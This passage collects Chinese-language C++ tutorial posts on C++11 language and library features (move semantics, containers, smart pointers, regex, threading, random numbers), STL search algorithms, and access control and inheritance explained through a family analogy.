   virtual void f(int) override final {std::cout << "D::f" << std::endl;}
};



默认或禁用函数，当我们定义了自己的带参数的构造函数时，编译器将不再生成默认的构造函数，如果此时想使用默认的构造函数，则必须显式地声明并定义不带参数的构造函数。在C++11中，我们可以使用default关键字来表明我们希望使用默认的构造函数。类似的，当我们不想外部使用编译器自动生成的构造函数或赋值函数时，我们一般需要将其声明成protected或private的。在C++ 11中，我们可以使用delete关键字来表明我们不希望编译器生成默认的构造函数或赋值函数。


cppclass Person {
public:
    Person() = default;
    Person(const Person& person) = delete;
};



C++11允许成员变量就地初始化


cppclass Person {
private:
    std::string _name = "sissie";
}



委托构造函数，一个委托构造函数使用它所属类的其他构造函数执行它的初始化过程


cppclass SaleData {
    SaleData(std::string booknum, uint32_t units_sold, double price) :
        _booknum(booknum), _units_sold(unit_sold), _price(price) {}
    SaleData() : SaleData("", 0, 0) {}
    SaleData(std::string booknum) : SaleData(booknum, 0, 0) {}
};



move语义与右值引用


左值和右值是针对表达式而言，表达式之后依然存在的对象是左值，表达式之后不再存在的临时对象为右值

左值可以对其取地址，右值不能


cppint i = 0;
std::string hello = "hello";
std::string world = "world";
const int& ri = 1;

// 左值：i, ++i, hello, world
// 右值：i++, hello + world, ri



拷贝临时对象性能问题，考虑如下字符串初始化


cppstd::string str1 = "a";
// str1 + "b" 生成一个临时对象，再用这个临时对象去构造str2
// 而这个临时对象在构造完str2后就被释放，这个对象并没有用到，却需要调用一次构造函数
std::string str2 = str1 + "b";



如果我们能确定某个值是一个非常量右值（或者是一个以后不会再使用的左值），则我们在进行临时对象的拷贝时，可以不用拷贝实际的数据，而只是窃取实际数据的指针，C++11中引入的右值引用正好可用于标识一个非常量右值。C++ 11中用&表示左值引用，用&&表示右值引用


移动构造函数


cpp// MemoryBlock.h
#pragma once
#include <iostream>
#include <algorithm>

class MemoryBlock {
public:
    // Simple constructor that initializes the resource.
    explicit MemoryBlock(size_t length) : _length(length), _data(new int[length]) {
        std::cout << "In MemoryBlock(size_t). length = " << _length << "." << std::endl;
    }

    // Destructor.
    ~MemoryBlock() {
        std::cout << "In ~MemoryBlock(). length = " << _length << ".";

        if (_data != NULL) {
            std::cout << " Deleting resource.";
            // Delete the resource.
            delete[] _data;
        }

        std::cout << std::endl;
    }

    // Copy constructor.
    MemoryBlock(const MemoryBlock& other) : _length(other._length), _data(new int[other._length]) {
        std::cout << "In MemoryBlock(const MemoryBlock&). length = "
            << other._length << ". Copying resource." << std::endl;

        std::copy(other._data, other._data + _length, _data);
    }

    // Copy assignment operator.
    MemoryBlock& operator=(const MemoryBlock& other) {
        std::cout << "In operator=(const MemoryBlock&). length = "
            << other._length << ". Copying resource." << std::endl;

        if (this != &other)
        {
            // Free the existing resource.
            delete[] _data;

            _length = other._length;
            _data = new int[_length];
            std::copy(other._data, other._data + _length, _data);
        }
        return *this;
    }

    // Move constructor.
    MemoryBlock(MemoryBlock&& other) : _length(0), _data(NULL) {
        std::cout << "In MemoryBlock(MemoryBlock&&). length = "
            << other._length << ". Moving resource." << std::endl;

        // Copy the data pointer and its length from the
        // source object.
        _data = other._data;
        _length = other._length;

        // Release the data pointer from the source object so that
        // the destructor does not free the memory multiple times.
        other._data = NULL;
        other._length = 0;
    }

    // Move assignment operator.
    MemoryBlock& operator=(MemoryBlock&& other) {
        std::cout << "In operator=(MemoryBlock&&). length = "
            << other._length << "." << std::endl;

        if (this != &other)
        {
            // Free the existing resource.
            delete[] _data;

            // Copy the data pointer and its length from the
            // source object.
            _data = other._data;
            _length = other._length;

            // Release the data pointer from the source object so that
            // the destructor does not free the memory multiple times.
            other._data = NULL;
            other._length = 0;
        }
        return *this;
    }

    // Retrieves the length of the data resource.
    size_t Length() const {
        return _length;
    }

private:
    size_t _length; // The length of the resource.
    int* _data;     // The resource.
};

// rvalue-references-move-semantics.cpp
// compile with: /EHsc
#include "MemoryBlock.h"
#include <vector>

int main() {
    // Create a vector object and add a few elements to it.
    std::vector<MemoryBlock> v;
    v.push_back(MemoryBlock(25));
    std::cout << "======================" << std::endl;
    v.push_back(MemoryBlock(75));
    std::cout << "======================" << std::endl;

    // Insert a new element into the second position of the vector.
    v.insert(v.begin() + 1, MemoryBlock(50));
    std::cout << "======================" << std::endl;
}

// 可以看到下面的输出在push_back的时候，由于参数是一个非常量右值，自动调用了move构造函数
// 下面还有拷贝构造函数是在vector长度增长时拷贝数组产生的，这次拷贝构造也可以优化成move
// 具体实现与编译器有关
// In MemoryBlock(size_t). length = 25.
// In MemoryBlock(MemoryBlock&&). length = 25. Moving resource.
// In ~MemoryBlock(). length = 0.
// ======================
// In MemoryBlock(size_t). length = 75.
// In MemoryBlock(MemoryBlock&&). length = 75. Moving resource.
// In MemoryBlock(const MemoryBlock&). length = 25. Copying resource.
// In ~MemoryBlock(). length = 25. Deleting resource.
// In ~MemoryBlock(). length = 0.
// ======================
// In MemoryBlock(size_t). length = 50.
// In MemoryBlock(MemoryBlock&&). length = 50. Moving resource.
// In MemoryBlock(const MemoryBlock&). length = 25. Copying resource.
// In MemoryBlock(const MemoryBlock&). length = 75. Copying resource.
// In ~MemoryBlock(). length = 75. Deleting resource.
// In ~MemoryBlock(). length = 25. Deleting resource.
// In ~MemoryBlock(). length = 0.
// ======================
// In ~MemoryBlock(). length = 75. Deleting resource.
// In ~MemoryBlock(). length = 50. Deleting resource.
// In ~MemoryBlock(). length = 25. Deleting resource.



std::move显示调用move构造函数，如果类没有move构造函数，会调用copy构造函数。对一个左值使用std::move之后，不应该再使用该对象，对该对象的任何操作都是未定义的。


cppstd::vector<MemoryBlock> v;
MemoryBlock mb(66);
v.push_back(std::move(mb));



容器


std::vector



	
size()：记录了当前元素的个数

	
capacity()：不重新分配内存的话，可以保存多少个元素

	
reserve(n)：分配至少能容纳n个元素的内存空间

	
shrink_to_fit()：将capacity减少为于size()相同的大小



cpp// vector的无参构造函数初始化vector时，size和capacity都是0
// 之后当capacity不足时，capacity会成倍增加，可以用reverse指定capacity的值
std::vector<int> vi;
assert(vi.size() == 0);
assert(vi.capacity() == 0);
vi.reserve(1024);
assert(vi.size() == 0);
assert(vi.capacity() == 1024);

// vector的构造函数可以传入一个参数指定当前vector的size
// 此构造函数会调用元素的无参构造函数，初始化元素
// 所以元素的类型必须实现无参构造函数，才能调用此构造函数
std::vector<std::string> vs(5);
assert(vs.size() == 5);
assert(vs.capacity() == 5);
vs.push_back("sissie");
assert(vs[5] == "sissie");
assert(vs.size() == 6);
assert(vs.capacity() == 10);
vs.shrink_to_fit();
assert(vs.capacity() == 6);



std::array


array是C++11新引入的数组类型，和std::vector不同的是array的长度是固定的，不能动态拓展


cpptemplate <class T, std::size_t N> struct array

std::array<int, 3> a1{{1, 2, 3}};
std::sort(a1.begin(), a1.end());



std::forward_list


C++11引入的新类型，forward_list是单链表（std::list是双链表），只需要顺序遍历的场合，forward_list能更加节省内存，插入和删除的性能高于list


cppstd::forward_list<int> fli{{1, 2, 3, 4}};



unordered


std::set std::multiset std::map std::multimap

用平衡树实现的有序的容器，插入、删除和查找的时间复杂度都是O(nlogn)


std::unordered_set std::unordered_multiset std::unordered_map std::unordered_multimap

C++11引入的新类型，用hash实现的无序的容器，插入、删除和查找的时间复杂度都是O(1)，在不关注容器内元素顺序的场合，使用unordered的容器能获得更高的性能


cppstd::unordered_set<int> usi = {{11, 22, 33, 44, 55, 66, 77, 88, 99, 0}};
assert(usi.size() == 10);
usi.insert(66);
assert(usi.size() == 10);

// unordered_set是无序的
// 0,99,88,77,66,55,44,33,22,11,
for (const auto& i: usi) {
    std::cout << i << ",";
}
std::cout << std::endl;
// set是有序的
// 0,11,22,33,44,55,66,77,88,99,
std::set<int> si = {{11, 22, 33, 44, 55, 66, 77, 88, 99, 0}};
for (const auto& i: si) {
    std::cout << i << ",";
}
std::cout << std::endl;

// multiset中可以插入相同的值
std::unordered_multiset<int> umsi = {{11, 22, 33, 44, 55, 66, 77, 88, 99, 0}};
assert(umsi.size() == 10);
assert(umsi.count(66) == 1);
umsi.insert(66);
assert(umsi.size() == 11);
assert(umsi.count(66) == 2);

std::unordered_map<std::string, double> book_price_map{{
    {"C++ Primer", 128.00},
    {"UNIX 环境高级编程", 99.00},
    {"HBase 权威指南", 89.00},
    {"MapReduce 设计模式", 49.00}
}};
for (const auto& book_price_pair: book_price_map) {
    std::cout << book_price_pair.first << " => " << book_price_pair.second << std::endl;
}



智能指针



	
unique_ptr：作用域结束之后自动释放资源，不可复制，可以移动

	
shared_ptr：通过引用计数共享资源，当引用计数为0时，自动释放资源

	
weak_ptr：一个shared_ptr的弱引用，不修改引用计数，为了解决循环引用问题而引入



cpp#include <cassert>
#include <memory>

int main() {
    {
        std::unique_ptr<int> upi(new int(6));
    }

    {
        // 用make_shared来初始化shared_ptr
        std::shared_ptr<int> spi = std::make_shared<int>(6);
        // use_count获取引用计数
        assert(spi.use_count() == 1);
        {
            std::shared_ptr<int> spi_shared(spi);
            assert(spi.use_count() == 2);
        }
        assert(spi.use_count() == 1);
    }

    {
        std::shared_ptr<int> spi = std::make_shared<int>(6);
        assert(spi.use_count() == 1);

        // 通过shared_ptr来构造weak_ptr
        std::weak_ptr<int> wpi(spi);
        // weak_ptr不改变引用计数
        assert(spi.use_count() == 1);
        assert(wpi.use_count() == 1);

        // lock() 获取weak_ptr引用的shared_ptr
        assert(*wpi.lock() == 6);
        // expired() 返回引用的对象是否已经释放
        assert(!wpi.expired());
    }

    return 0;
}



shared_ptr提供get函数获取对象的指针


正则表达式


regex


cpptypedef basic_regex<char> regex
typedef basic_regex<wchar_t> wregex

typedef sub_match<const char*> csub_match
typedef sub_match<const wchar_t*> wcsub_match
typedef sub_match<std::string::const_iterator> ssub_match
typedef sub_match<std::wstring::const_iterator> wssub_match

typedef match_results<const char*> cmatch
typedef match_results<const wchar_t*> wcmatch
typedef match_results<std::string::const_iterator> smatch
typedef match_results<std::wstring::const_iterator> wsmatch




	
basic_regex：正则表达式

	
sub_match：正则表达式子匹配

	
match_result：正则匹配结果，由多个sub_match组成



match_result成员



	
ready()：如果已经通过regex_serach或者regex_match设置则返回true，否则返回false；如果ready返回false，那所有对match_result的操作都是未定义的

	
size()：匹配失败返回0，否则返回最近一次匹配正则表达式中子表达式的数目

	
empty()：返回size() == 0

	
prefix()：返回一个sub_match对象，表示匹配之前的序列

	
suffix()：返回一个sub_match对象，表示匹配之后的序列

	
format()：将match_result格式化成一个字符串

	
length(n)：第n个子表达式的长度

	
position(n)：第n个子表达式距序列开始的距离

	
str(n)：第n个子表达式匹配的字符串

	
[]：第n个子表达式的sub_match对象

	
begin(), end()：sub_match的iterator

	
cbegin(), cend()：sub_match的const_iterator



正则匹配



	
regex_match()：完全匹配

	
regex_serach()：部分匹配（匹配第一个）

	
regex_replace()：正则替换

	
regex_iterator：迭代器适配器（value_type为match_result），调用regex_search来遍历一个string中所有的匹配子串

	
regex_token_iterator：迭代器适配器（value_type为sub_match）



cpp#include <iostream>
#include <regex>
#include <cassert>

int main()
{
    std::string context = ""
        "hatlonely (hatlonely@gmail.com) "
        "playjokes (playjokes@gmail.com)";

    std::regex mail_regex("(\\w+)@(\\w+)\\.com");
    std::smatch mail_result;

    // 不能全词匹配 regex_match返回false
    assert(!std::regex_match(context, mail_result, mail_regex));
    // 可以部分匹配 regex_search返回true
    assert(std::regex_search(context, mail_result, mail_regex));
    // mail_result被regex_search设置过 返回true
    assert(mail_result.ready());
    // mail_result中sub_match的个数，两个子表达式加上整个表达式
    assert(mail_result.size() == 3);
    // mail_result[0]为匹配到的整个字符串
    assert(mail_result[0] == "hatlonely@gmail.com");
    // mail_result[n]为第n个子表达式匹配到得串（小括号内的串）
    assert(mail_result[1] == "hatlonely");
    assert(mail_result[2] == "gmail");
    // prefix未匹配到的之前的串
    assert(mail_result.prefix() == "hatlonely (");
    // suffix未匹配到的之后的串
    assert(mail_result.suffix() == ") playjokes (playjokes@gmail.com)");
    // $`  相当于prefix
    // $'  相当于suffix
    // $n  第n个子匹配
    std::cout << mail_result.format("$` $1 $2") << std::endl;

    {
        // 相当于循环调用regex_search，迭代器的value_type为match_result
        std::sregex_iterator it(context.begin(), context.end(), mail_regex);
        std::sregex_iterator end;
        for (; it != end; ++it) {
            std::cout << (*it)[0] << std::endl;
        }
    }
    {
        // 相当于循环调用regex_search，迭代器的value_type为sub_match，相当于match_result[0]
        std::sregex_token_iterator it(context.begin(), context.end(), mail_regex);
        std::sregex_token_iterator end;
        for (; it != end; ++it) {
            std::cout << *it << std::endl;
        }
    }

    {
        // regex_replace 默认会替换所有匹配到的串，指定format_first_only可以只替换第一个匹配到得串
        // hatlonely (hatlonely@gmail.com) playjokes (playjokes@gmail.com)
        std::cout << context << std::endl;
        // hatlonely (hatlonely) playjokes (playjokes)
        std::cout << regex_replace(context, mail_regex, "$1") << std::endl;
        // hatlonely (hatlonely) playjokes (playjokes@gmail.com)
        std::cout << regex_replace(context, mail_regex, "$1",
            std::regex_constants::format_first_only) << std::endl;
    }

    return 0;
}



多线程


thread


构造函数


cppthread();
// f 是线程执行的函数，可以是函数指针或者是仿函数对象
// args 是函数的参数，（C++11新特新可变模板参数）
template <class Function, class... Args> explicit thread(Function&& f, Args&&... args);
// 线程不可复制
thread(const thread&) = delete;
// 线程可以移动
thread(thread&& other);



thread成员函数



	
get_id(): 获取线程id

	
joinable(): 线程是否是可以合并的

	
join(): 合并线程

	
detach(): 分离线程



join和detach是指主线程是否需要等待子线程执行完成，主线程调用join后将等待子线程执行完成，detach表示和主线程分离，子线程单独执行，一个线程在构造后必须调用join或者detach，编译器无法自动选择其中行为


当前线程操作函数，这些函数都定义在std::this_thread命名空间内



	
yield()：当前线程将CPU让出，等待下次被调度

	
get_id()：获取当前线程的线程id

	
sleep_for()：当前线程休眠一段时间

	
sleep_until()：当前线程休眠到某个时间点



cpp#include <iostream>
#include <thread>

// 无参数线程函数
void thread_func_with_no_param() {
    std::this_thread::sleep_for(std::chrono::milliseconds(20));
    std::cout << "thread_func_with_no_param" << std::endl;
}

// 带参数线程函数
void thread_func_with_param(int a, int b, int& result) {
    std::this_thread::sleep_for(std::chrono::milliseconds(40));
    result = a + b;
    std::cout << "thread_func_with_param: " << a << " + " << b << " = " << result << std::endl;
}

// 线程仿函数
struct thread_func_struct {
    void operator()(int a, int b, int& result) {
        std::this_thread::sleep_for(std::chrono::milliseconds(60));
        result = a * b;
        std::cout << "thread_func_struct: " << a << " * " << b << " = " << result << std::endl;
    }
};

void thread_usage() {
    int a = 1, b = 2, result1, result2;

    std::thread thread1(thread_func_with_no_param);
    // 此处的必须使用std::ref传入result1的引用，下面一样
    std::thread thread2(thread_func_with_param, a, b, std::ref(result1));
    std::thread thread3(thread_func_struct(), a, b, std::ref(result2));

    thread1.join();
    thread2.join();
    thread3.join();
    // thread1.detach();
    // thread2.detach();
    // thread3.detach();

    std::cout << "result1: " << result1 << std::endl;
    std::cout << "result2: " << result2 << std::endl;
}



mutex


多个线程同时访问共享资源的时候需要需要用到互斥量，当一个线程锁住了互斥量后，其他线程必须等待这个互斥量解锁后才能访问它。thread提供了四种不同的互斥量：



	
mutex：最基本的Mutex类。

	
recursive_mutex：递归Mutex类。

	
timed_mutex：定时Mutex类。

	
recursive_timed_mutex：定时递归Mutex类。



std::mutex加解锁是成对的，同一个线程内mutex在没有解锁的情况下，再次对它进行加锁这是不对的，会得到一个未定义行为；std::recursive_mutex与独mutex不同的是，同一个线程内在互斥量没有解锁的情况下可以再次进行加锁，不过他们的加解锁次数需要一致；


std::mutex有如下几个成员函数



	构造函数，std::mutex不允许拷贝构造，也不允许move拷贝，最初产生的mutex对象是处于unlocked状态的。

	
lock()，调用线程将锁住该互斥量。线程调用该函数会发生下面3种情况：


	如果该互斥量当前没有被锁住，则调用线程将该互斥量锁住，直到调用unlock之前，该线程一直拥有该锁。

	如果当前互斥量被其他线程锁住，则当前的调用线程被阻塞住。

	如果当前互斥量被当前调用线程锁住，则会产生死锁(deadlock)。





	
unlock()， 解锁，释放对互斥量的所有权。

	
try_lock()，尝试锁住互斥量，如果互斥量被其他线程占有，则当前线程也不会被阻塞。线程调用该函数也会出现下面3种情况：


	如果当前互斥量没有被其他线程占有，则该线程锁住互斥量，直到该线程调用unlock释放互斥量。

	如果当前互斥量被其他线程锁住，则当前调用线程返回false，而并不会被阻塞掉。

	如果当前互斥量被当前调用线程锁住，则会产生死锁(deadlock)。







std::timed_mutex 比 std::mutex 多了两个成员函数，try_lock_for()，try_lock_until()。



	
try_lock_for() 函数接受一个时间范围，表示在这一段时间范围之内线程如果没有获得锁则被阻塞住（与std::mutex的 try_lock()不同，try_lock如果被调用时没有获得锁则直接返回 false），如果在此期间其他线程释放了锁，则该线程可以获得对互斥量的锁，如果超时（即在指定时间内还是没有获得锁），则返回 false。

	
try_lock_until() 函数则接受一个时间点作为参数，在指定时间点未到来之前线程如果没有获得锁则被阻塞住，如果在此期间其他线程释放了锁，则该线程可以获得对互斥量的锁，如果超时（即在指定时间内还是没有获得锁），则返回 false。



std::lock_guard和std::unique_lock，与RAII相关，能自动上锁和解锁


cppvoid thread_func1(std::mutex& m) {
    for (int i = 0; i < 10; i++) {
        m.lock();       // 加锁
        std::cout << "thread1 " << i << std::endl;
        m.unlock();     // 解锁
        std::this_thread::sleep_for(std::chrono::milliseconds(20));
    }
}

void thread_func2(std::mutex& m) {
    for (int i = 0; i < 10; i++) {
        std::this_thread::sleep_for(std::chrono::milliseconds(10));
        // lock_guard在构造后加锁，在作用域解释后自动释放锁
        std::lock_guard<std::mutex> lg(m);
        std::cout << "thread2 " << i << std::endl;
    }
}

void mutex_usage() {
    std::mutex m;

    std::thread thread1(thread_func1, std::ref(m));
    std::thread thread2(thread_func2, std::ref(m));

    thread1.join();
    thread2.join();
}



condition_variable


当std::condition_variable对象的某个wait函数被调用的时候，它使用std::unique_lock(通过std::mutex) 来锁住当前线程。当前线程会一直被阻塞，直到另外一个线程在相同的std::condition_variable对象上调用了notification函数来唤醒当前线程。


std::condition_variable对象通常使用std::unique_lock来等待，如果需要使用另外的lockable类型，可以使用std::condition_variable_any类


condition_variable成员函数



	
condition_variable 不可拷贝不可赋值

	
notify_one()：唤醒一个等待的线程

	
notify_all()：唤醒所有等待的线程

	
wait()：阻塞等待直到被唤醒

	
wait_for()：阻塞等待被唤醒，或者超时

	
wait_until()：阻塞等待被唤醒，或者到某个时间点



cpp// wait
void wait(std::unique_lock<std::mutex>& lock);
template <class Predicate>
void wait(std::unique_lock<std::mutex>& lock, Predicate pred);

// wait_for
template <class Rep, class Period>
std::cv_status wait_for(
    std::unique_lock<std::mutex>& lock,
    const std::chrono::duration<Rep, Period>& rel_time);
template <class Rep, class Period, class Predicate>
bool wait_for(
    std::unique_lock<std::mutex>& lock,
    const std::chrono::duration<Rep, Period>& rel_time,
    Predicate pred);

// wait_until
template<class Clock, class Duration>
std::cv_status wait_until(
    std::unique_lock<std::mutex>& lock,
    const std::chrono::time_point<Clock, Duration>& timeout_time);
template<class Clock, class Duration, class Predicate>
bool wait_until(
    std::unique_lock<std::mutex>& lock,
    const std::chrono::time_point<Clock, Duration>& timeout_time,
    Predicate pred);



cpp#include <iostream>           // std::cout
#include <thread>             // std::thread
#include <mutex>              // std::mutex, std::unique_lock
#include <condition_variable> // std::condition_variable

std::mutex mtx;
std::condition_variable cv;
bool ready = false;

void print_id (int id) {
    std::unique_lock<std::mutex> lck(mtx);
    // 下面两句话是一样的
    // while (!ready) cv.wait(lck);
    cv.wait(lck, []{return ready;});
    std::cout << "thread " << id << '\n';
}

void go() {
    std::unique_lock<std::mutex> lck(mtx);
    ready = true;
    cv.notify_all();
}

void condition_variable_usage() {
    std::thread threads[10];
    // spawn 10 threads:
    for (int i=0; i<10; ++i) {
        threads[i] = std::thread(print_id, i);
    }

    std::cout << "10 threads ready to race...\n";
    go();

    for (auto& th : threads) {
        th.join();
    }
}



atomic


原子类型对象的主要特点就是从不同线程访问不会导致数据竞争(data race)。因此从不同线程访问某个原子对象是良性 (well-defined) 行为，而通常对于非原子类型而言，并发访问某个对象（如果不做任何同步操作）会导致未定义 (undifined) 行为发生。


cpp#include <atomic>
int main() {
    std::atomic<int> ai(5);
    ai++;
    ai += 100;

    return 0;
}



随机数


标准把随机数抽象成随机数引擎和分布两部分.引擎用来产生随机数,分布产生特定分布的随机数(比如平均分布,正太分布等)


标准提供三种常用的引擎:linear_congruential_engine，mersenne_twister_engine和subtract_with_carry_engine。第一种是线性同余算法，第二种是梅森旋转算法，第三种带进位的线性同余算法。第一种是最常用的，而且速度也是非常快的


随机数引擎接受一个整形参数当作种子，不提供的话，会使用默认值，推荐使用random_device来产生一个随机数当作种子


cpp#include <iostream>
#include <random>

int main() {
    {
        // random_device是一个随机数设备，不同的操作系统有不同的实现，linux下是读取/dev/urandom设备
        std::random_device rd;
        for (int i = 0; i < 10; i++) {
            std::cout << rd() << std::endl;
        }
    }

    {
        std::random_device rd;
        // 用random_device来为随机数生成器设置种子
        std::mt19937_64 mt(rd());
        for (int i = 0; i < 10; i++) {
            std::cout << mt() << std::endl;
        }

        // 整数均匀分布
        std::uniform_int_distribution<unsigned> dis(1, 100);
        for (int i = 0; i < 10; i++) {
            std::cout << dis(mt) << std::endl;
        }

        // 浮点数均匀分布
        std::uniform_real_distribution<double> drs(0.0, 1.0);
        for (int i = 0; i < 10; i++) {
            std::cout << drs(mt) << std::endl;
        }
    }
}
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 常用的STL查找算法

作者：大CC

来源： 常用的STL查找算法



                    
常用的STL查找算法


《effective STL》中有句忠告，尽量用算法替代手写循环；查找少不了循环遍历，在这里总结下常用的STL查找算法；


查找有三种，即点线面：

点就是查找目标为单个元素；

线就是查找目标为区间；

面就是查找目标为集合；


针对每个类别的查找，默认的比较函数是相等，为了满足更丰富的需求，算法也都提供了自定义比较函数的版本；


单个元素查找


find() 比较条件为相等的查找


find()从给定区间中查找单个元素,定义：


template <class InputIterator, class T>
InputIterator find (InputIterator first, InputIterator last, const T& val);



示例，从myvector中查找30：


int myints[] = { 10, 20, 30, 40 };
std::vector<int> myvector (myints,myints+4);
it = find (myvector.begin(), myvector.end(), 30);
if (it != myvector.end())
    std::cout << "Element found in myvector: " << *it << '\n';
else
    std::cout << "Element not found in myvector\n";



find_if() 自定义比较函数


std::find_if():从给定区间中找出满足比较函数的第一个元素；

示例,从myvector中查找能够被30整除的第一个元素：


bool cmpFunction (int i) {
  return ((i%30)==0);
}
it = std::find_if (myvector.begin(), myvector.end(), cmpFunction);
std::cout << "first:" <<  *it <<std::endl;



count() 统计元素出现次数


std::count()：统计区间中某个元素出现的次数；

std:count_if()：count()的自定义比较函数版本


search_n() 查询单个元素重复出现的位置


search_n(): find用来查询单个元素，search_n则用来查找区间中重复出现n次的元素；


示例：查询myvector中30连续出现2次的位置：


int myints[]={10,20,30,30,20,10,10,20};
std::vector<int> myvector (myints,myints+8);
it = std::search_n (myvector.begin(), myvector.end(), 2, 30);



search_n() 支持自定义比较函数；


adjacent_find() 查询区间中重复元素出现的位置


adjacent_find() 查询区间中重复元素出现的位置，该算法支持自定义比较函数；


lower_bound() 有序区间中查询元素边界


lower_bound()用来在一个排序的区间中查找第一个不小于给定元素的值：

示例：查找容器v中不小于20的下界：


int myints[] = {10,20,30,30,20,10,10,20};
std::vector<int> v(myints,myints+8);           // 10 20 30 30 20 10 10 20
std::sort (v.begin(), v.end());                // 10 10 10 20 20 20 30 30
std::vector<int>::iterator low,up;
low=std::lower_bound (v.begin(), v.end(), 20); 
std::cout << "lower_bound at position " << (low- v.begin()) << '\n';



类似算法有upper_bound(),查找有序区间中第一个大于给定元素的值；

还有equal_range(),查找有序区间的上下边界；（一次返回lower_bound()和upper_bound());


binary_search() 有序区间的二分查找


binary_search() 用来在一个有序区间中使用二分法查找元素是否在这个区间中，注，这个算法的返回值为bool，

不是下标位置，其内部的算法逻辑和lower_bound（）相似，行为表现为：


template <class ForwardIterator, class T>
  bool binary_search (ForwardIterator first, ForwardIterator last, const T& val)
{
  first = std::lower_bound(first,last,val);
  return (first!=last && !(val<*first));
}



示例：从有序区间v中找3是否存在：


int myints[] = {1,2,3,4,5,4,3,2,1};
std::vector<int> v(myints,myints+9);                         // 1 2 3 4 5 4 3 2 1
std::sort (v.begin(), v.end());
if (std::binary_search (v.begin(), v.end(), 3))
    std::cout << "found!\n"; else std::cout << "not found.\n";



min_element() 查找最小元素


min_element() 在给定区间中查找出最小值;


int myints[] = {3,7,2,5,6,4,9};
std::cout << "The smallest element is " << *std::min_element(myints,myints+7) << '\n';



类似算法有：max_element() 查找最大值；


区间查找 search()


search() 查找子区间首次出现的位置


find()用来查找单个元素，search()则用来查找一个子区间；

示例：从myvector中查找出现子区间[20，30]的位置:


  int needle1[] = {20,30};
  it = std::search (myvector.begin(), myvector.end(), needle1, needle1+2);
  if (it!=myvector.end())
    std::cout << "needle1 found at position " << (it-myvector.begin()) << '\n';



search支持自定义比较函数；

示例：查询给定区间中每个元素比目标区间小1的子区间；


bool cmpFunction (int i, int j) {
  return (i-j==1);
}
int myints[] = {1,2,3,4,5,1,2,3,4,5};
std::vector<int> haystack (myints,myints+10);

int needle2[] = {1,2,3};
// using predicate comparison:
it = std::search (haystack.begin(), haystack.end(), needle2, needle2+3, cmpFunction);



find_end() 查找子区间最后一次出现的位置


search() 用来查找子区间第一次出现的位置，而find_end()用来查找子区间最后一次出现的位置：

find_end()支持自定义比较函数；


equal() 判断两个区间是否相等


equal（）用来判断两个区间是否相等，该算法支持自定义比较函数；


mismatch() 查询两个区间首次出现不同的位置；


mismatch() 查询两个区间首先出现不同的位置，这个算法也支持自定义比较函数；


集合查找


find_first_of 查找集合中的任意一个元素


find_first_of()用来查找给定集合中的任意一个元素:

示例：从haystack中查找A,B,C出现的位置：


  int mychars[] = {'a','b','c','A','B','C'};
  std::vector<char> haystack (mychars,mychars+6);
  int needle[] = {'C','B','A'};
  // using default comparison:
  it = find_first_of (haystack.begin(), haystack.end(), needle, needle+3);



find_first_of支持自定义比较函数；


推荐支持


如果你觉得本文对你有所帮助，请点击以下【推荐】按钮, 让更多人阅读；


Posted by: 大CC | 10JUN,2015

博客：blog.me115.com [订阅]


 C++ 的社会繁衍

作者：pezy

来源： C++ 的社会繁衍



                    
把 C++ 想象成人类社会。


访问权限、继承、友元将无比真实的反应人类社会中的种种关系。




一、类内部访问权限


+---------+
|class    | --> 人
+---------+
|public   | --> 你能干啥
|protected| --> 你留下啥
|private  | --> 你藏了啥
+---------+
|friend   | --> 你的圈子
+---------+



几乎所有人都知道你能干啥，这某种程度上是你在这个社会的价值体现。但这些不相干的人，并不知道你留下了啥，是万贯家财？还是诗书传承？谁知道？你的家人知道（类内部），你的后代知道（子类），你的朋友知道（友元）。至于你藏了些啥，除了你的家人（类内部），可能也只有几位密友（友元）了解。


二、继承时访问权限


+---------+
|Inherits | --> 繁衍后代
+---------+
|public   | --> 嫡出
|protected| --> 庶出
|private  | --> 私生
+---------+



C++ 的社会没有计划生育，也似乎没有限制一夫一妻。所以就存在正房和偏房的问题，嫡长子光明正大（public）的继承了你的财产和光环（public, protected）。其余庶出（protected）的就没那么好运了，仅仅能够分到一点财产（protected, protected）。而风流快活的产物——私生子（private）更是可怜，分到的东西谁也说不得，是私密。（private，private）。


cppclass Father {
public:
    int x;
protected:
    int y;
private:
    int z;
};

class FirstSon : public Father {
    // x is public
    // y is protected
    // z is not accessible from Father
};

class SecondSon : protected Father {
    // x is protected
    // y is protected
    // z is not accessible from Father
};

class Illegitimate : private A {
    // x is private
    // y is private
    // z is not accessible from Father
};



三、开始处理各种继承问题（两种访问权限的混搭）


cppclass Base {
protected:
    int prot_mem;
};

class Sneaky : public Base {
    friend void clobber(Sneaky &s) { s.j = s.prot_mem = 0; }
    friend void clobber(Base &b) { b.prot_mem = 0; } // error
    int j;
};



prot_mem 是 Base 的 protected 成员。那么对于 以 public 的姿势继承 Base 的子类 Sneaky 来说，它可以取得该成员（嫡长子）。


而第一个 clobber 作为 Sneaky 的密友，自然也可以取得 Sneaky 的成员，如其自己的 j，以及继承自父类的 prot_mem。


第二个 clobber 作为 Sneaky 的密友，却妄想去直接拿其父亲留下的 prot_mem，这显然是不合理的。 注意这里与上面那个的区别，该密友越过了 Sneaky，直接去拿其父亲的遗物，这是违背了社会法规的。




再来看三代同堂：


cpp// 父

class Base {
public:
    int pub_mem;
protected:
    int prot_mem;
private:
    int pri_mem;
};

// 子

struct Pub_Derv : public Base {
    int f() { return prot_mem; }
    int g() { return pri_mem; } // error
};

struct Priv_Derv : private Base {
    int f1() const { return prot_mem; }
};

// 孙

struct Derived_from_Public : public Pub_Derv {
    int use_base() { return prot_mem; }
};

struct Derived_from_Private : public Priv_Derv {
    int use_base() { return prot_mem; } // error
};




	注意第一个 error 处，是由于嫡长子去触及父亲藏起来的东西导致的。

	再看第二个 error 处，是由于私生子的儿子想去拿爷爷留下的东西导致的。



细分析，儿子辈，一个嫡长子一个私生子，prot_mem 是祖辈留下之物，虽然两个儿子都继承了，但对于嫡长子来说，prot_mem 仍旧是可以遗留之物(protected权限)；而对于私生子来说，prot_mem 却成了需藏起来之物(private权限)。那么，到了孙子辈，长房长孙继续拿到祖辈继承之物，而反观私房长孙，却和祖辈几乎毫无瓜葛了。




再来看一个朋友乱入的：


cppclass Base {
    friend class Pal;
protected:
    int prot_mem;
};

class Sneaky : public Base {
    int j;
};

class Pal {
public:
    int f(Base b) { return b.prot_mem; }
    int f2(Sneaky s) { return s.j; } // error
    int f3(Sneaky s) { return s.prot_mem; }
};

class D2 : public Pal {
public:
    int mem(Base b) { return b.prot_mem; } // error
};



